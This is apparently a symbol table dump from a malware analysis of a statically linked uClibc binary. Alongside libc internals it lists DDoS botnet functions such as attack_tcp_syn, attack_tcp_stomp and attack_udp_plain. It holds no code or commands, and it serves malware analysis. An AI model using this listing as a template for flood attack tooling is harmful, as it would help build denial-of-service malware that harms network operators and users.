__GI_config_close	.symtab	0x1000d9e0	80	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1000da30	84	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1000d6ac	820	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x10009b8c	120	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x1000d11c	52	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x1000b900	136	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x1000dbac	640	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x10007724	236	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1000f384	744	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1000ef44	304	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x1000f074	244	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x1000f7a4	196	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x1000de2c	12	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x1000bd40	824	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x10009384	92	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x10010700	16	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x10010710	404	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x1000d150	124	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x100093e0	192	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x1000d27c	56	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x1000d2b4	16	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x1000d2c4	16	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x1000d2d4	16	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x1000d2e4	28	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x1000c078	56	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x1000d300	52	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x10009c04	52	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x1000d334	16	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x10009a44	52	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1000ff48	208	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x1000b734	236	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x100103b0	228	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1000fe80	44	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x1000787c	52	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x10009c6c	52	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x10010f04	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1000f868	264	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x100094a0	156	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x1000953c	164	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x10010c48	52	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1000f970	244	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x100095e0	144	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x1000d344	52	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x1000d378	52	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x1000d3ac	52	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1000d414	112	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x1000c354	132	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x10007d9c	208	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x1000c0b0	148	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x1000b3e4	104	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x1000b5b4	140	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x10010c7c	184	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x1000c45c	132	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x10007f24	192	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x1000d5e8	196	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x10009cd4	128	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x10009d88	144	FUNC	<unknown>	HIDDEN	2
__GI_remove	.symtab	0x10008030	112	FUNC	<unknown>	HIDDEN	2
__GI_rmdir	.symtab	0x1000d484	52	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1000d4b8	116	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x10007918	136	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x10009e4c	128	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x10009f00	144	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x100079a0	52	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x10009f90	52	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x1000b820	224	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x10010018	36	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x1000d52c	120	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x1000c144	292	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x10009fc4	52	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x100080a0	136	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x1000b640	244	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x100079d4	124	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1000fa64	256	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1000fb64	248	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x1000fc5c	52	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x1000fc5c	52	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1000fc90	96	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x10009670	160	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x10009710	236	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x1000fe44	60	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1000fcf0	112	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1000fd60	72	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x100097fc	240	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x10009a38	12	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x1000fda8	156	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x1000bad0	624	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x1000feac	156	FUNC	<unknown>	HIDDEN	2
__GI_tcsetattr	.symtab	0x10010d34	376	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x10007a50	16	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x1000d5a4	16	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x1000d5b4	52	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x10008128	224	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x1000da84	92	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1000daf0	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x1000dae0	16	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x1000c3d8	132	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x10024064	0	OBJECT	<unknown>	DEFAULT	9
__JCR_LIST__	.symtab	0x10024064	0	OBJECT	<unknown>	DEFAULT	9
__app_fini	.symtab	0x100242e4	4	OBJECT	<unknown>	HIDDEN	13
__atexit_lock	.symtab	0x1002414c	24	OBJECT	<unknown>	DEFAULT	10
__bss_start	.symtab	0x1002428c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x1000c6ec	96	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x1000c2e0	116	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x1000c2ec	16	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x1002426c	4	OBJECT	<unknown>	DEFAULT	12
__curbrk	.symtab	0x1002431c	4	OBJECT	<unknown>	DEFAULT	13
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__do_global_ctors_aux	.symtab	0x10010f74	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x100000d8	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x10024068	0	OBJECT	<unknown>	HIDDEN	10
__environ	.symtab	0x100242dc	4	OBJECT	<unknown>	DEFAULT	13
__errno_location	.symtab	0x10007fe4	20	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x100242c8	4	OBJECT	<unknown>	HIDDEN	13
__fcntl_nocancel	.symtab	0x100076b0	116	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__fini_array_start	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__fork	.symtab	0x1000bd40	824	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x100242cc	4	OBJECT	<unknown>	HIDDEN	13
__fork_handlers	.symtab	0x100242d0	4	OBJECT	<unknown>	HIDDEN	13
__fork_lock	.symtab	0x100242d4	4	OBJECT	<unknown>	HIDDEN	13
__getdents	.symtab	0x1000d1cc	176	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x100105a8	344	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x1000d2e4	28	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x1000c078	56	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x100098ec	48	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__init_array_start	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__libc_accept	.symtab	0x10009aac	120	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x1000c2e0	116	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x10009b8c	120	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x1000c4e0	124	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x1000c55c	172	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	6
__libc_fcntl	.symtab	0x10007724	236	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x1000bd40	824	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	6
__libc_nanosleep	.symtab	0x1000d414	112	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x1000c354	132	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x1000c45c	132	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x10009cd4	128	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x10009d88	144	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x10007918	136	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x10009e4c	128	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x10009f00	144	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1001014c	464	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x10010018	36	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x100242d8	4	OBJECT	<unknown>	DEFAULT	13
__libc_system	.symtab	0x1000d074	132	FUNC	<unknown>	DEFAULT	2
__libc_waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x1000c3d8	132	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x1000c268	120	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x1000aed0	460	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x10009ff8	112	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x10024070	24	OBJECT	<unknown>	DEFAULT	10
__malloc_state	.symtab	0x100269ec	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x1000ae18	184	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x1000c354	132	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x1000c360	16	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x100242e0	4	OBJECT	<unknown>	DEFAULT	13
__preinit_array_end	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__preinit_array_start	.symtab	0x10024054	0	NOTYPE	<unknown>	HIDDEN	6
__progname	.symtab	0x10024260	4	OBJECT	<unknown>	DEFAULT	12
__progname_full	.symtab	0x10024264	4	OBJECT	<unknown>	DEFAULT	12
__pthread_initialize_minimal	.symtab	0x1001031c	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1000c610	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x1000c608	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x1000c608	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x1000c608	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x1000c608	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x1000c45c	132	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x1000c468	16	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__rtld_fini	.symtab	0x100242e8	4	OBJECT	<unknown>	HIDDEN	13
__sigjmp_save	.symtab	0x10010eac	88	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x10010494	172	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x1002427c	4	OBJECT	<unknown>	DEFAULT	12
__stdio_READ	.symtab	0x100108a4	120	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1001091c	264	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x10010a24	212	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x1000e220	364	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x10010af8	72	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x10010bf0	88	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x10010b40	176	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1000e548	260	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x1000e64c	76	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x10024280	4	OBJECT	<unknown>	DEFAULT	12
__sys_accept	.symtab	0x10009a78	52	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x10009b58	52	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x10009ca0	52	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x10009d54	52	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x10009e18	52	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x10009ecc	52	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x1000d0f8	28	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1000d3e0	52	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x10010574	52	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x100078e4	52	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x1000c65c	144	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x1000c74c	100	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x1000c7b0	840	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x1002425c	4	OBJECT	<unknown>	HIDDEN	12
__waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	DEFAULT	2
__waitpid_nocancel	.symtab	0x10010048	16	FUNC	<unknown>	DEFAULT	2
__write	.symtab	0x1000c3d8	132	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x1000c3e4	16	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x1000991c	284	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x10007b44	204	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x10007a60	228	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x1002439c	10	OBJECT	<unknown>	DEFAULT	14
_charpad	.symtab	0x10008208	100	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x1002699c	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x100269c4	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x10024258	4	OBJECT	<unknown>	HIDDEN	12
_dl_aux_init	.symtab	0x10010328	28	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x10010344	108	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x10024314	4	OBJECT	<unknown>	DEFAULT	13
_dl_phnum	.symtab	0x10024318	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_dtv_gaps	.symtab	0x10024308	1	OBJECT	<unknown>	DEFAULT	13
_dl_tls_dtv_slotinfo_list	.symtab	0x10024304	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_generation	.symtab	0x1002430c	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_max_dtv_idx	.symtab	0x100242fc	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_setup	.symtab	0x100100fc	80	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x100242f8	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_static_nelem	.symtab	0x10024310	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_static_size	.symtab	0x10024300	4	OBJECT	<unknown>	DEFAULT	13
_dl_tls_static_used	.symtab	0x100242f4	4	OBJECT	<unknown>	DEFAULT	13
_edata	.symtab	0x1002428c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x10026d64	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x10007810	92	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x10010fe0	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x100243f8	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x1000826c	152	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x1000e84c	1784	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x100000b4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x1000e698	128	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x100089fc	188	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x10008db4	1488	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x10008ab8	92	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x10008b14	608	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x10008d74	64	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x1000c624	56	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x1000c618	12	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x1000d114	8	FUNC	<unknown>	DEFAULT	2
_start	.symtab	0x10000218	72	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x1000de38	1000	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x1000e38c	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x10024284	4	OBJECT	<unknown>	DEFAULT	12
_stdio_openlist_add_lock	.symtab	0x100243e0	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1000f168	540	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x100242f0	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_del_lock	.symtab	0x100243ec	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x100242ec	4	OBJECT	<unknown>	DEFAULT	13
_stdio_streams	.symtab	0x10024164	204	OBJECT	<unknown>	DEFAULT	10
_stdio_term	.symtab	0x1000e40c	316	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x10024288	4	OBJECT	<unknown>	DEFAULT	12
_store_inttype	.symtab	0x1000e718	60	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x10011f34	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x1000e754	248	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x10008304	1784	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x1000b2e8	248	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x10009aac	120	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
arch_names	.symtab	0x10011d90	32	OBJECT	<unknown>	DEFAULT	4
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_get_opt_int	.symtab	0x10000834	132	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x100007b4	128	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x100008b8	984	FUNC	<unknown>	DEFAULT	2
attack_kill_all	.symtab	0x10000374	404	FUNC	<unknown>	DEFAULT	2
attack_method_nudp	.symtab	0x10003f80	1620	FUNC	<unknown>	DEFAULT	2
attack_method_stdhex	.symtab	0x10003c80	768	FUNC	<unknown>	DEFAULT	2
attack_method_tcp	.symtab	0x10001288	1592	FUNC	<unknown>	DEFAULT	2
attack_ongoing	.symtab	0x1002433c	32	OBJECT	<unknown>	DEFAULT	14
attack_parse	.symtab	0x10000508	684	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x10000260	276	FUNC	<unknown>	DEFAULT	2
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0x10002574	1624	FUNC	<unknown>	DEFAULT	2
attack_tcp_null	.symtab	0x10003208	1908	FUNC	<unknown>	DEFAULT	2
attack_tcp_sack2	.symtab	0x100018c0	1608	FUNC	<unknown>	DEFAULT	2
attack_tcp_stomp	.symtab	0x10001f08	1644	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0x10000c90	1528	FUNC	<unknown>	DEFAULT	2
attack_tcp_syndata	.symtab	0x10002bcc	1596	FUNC	<unknown>	DEFAULT	2
attack_udp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_udp_plain	.symtab	0x10003980	768	FUNC	<unknown>	DEFAULT	2
been_there_done_that	.symtab	0x100243ac	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x10009b24	52	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x10010540	52	FUNC	<unknown>	DEFAULT	2
call___do_global_ctors_aux	.symtab	0x10010fc4	0	FUNC	<unknown>	DEFAULT	2
call___do_global_dtors_aux	.symtab	0x10000170	0	FUNC	<unknown>	DEFAULT	2
call_frame_dummy	.symtab	0x100001fc	0	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x1000a978	264	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
cancel_handler	.symtab	0x1000caf8	272	FUNC	<unknown>	DEFAULT	2
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x100045d4	100	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x10004638	188	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x10007ff8	56	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x1000c2e0	116	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x10007c10	212	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5580	.symtab	0x10024320	0	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x1002435c	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x10009b8c	120	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
do_system	.symtab	0x1000cc08	1132	FUNC	<unknown>	DEFAULT	2
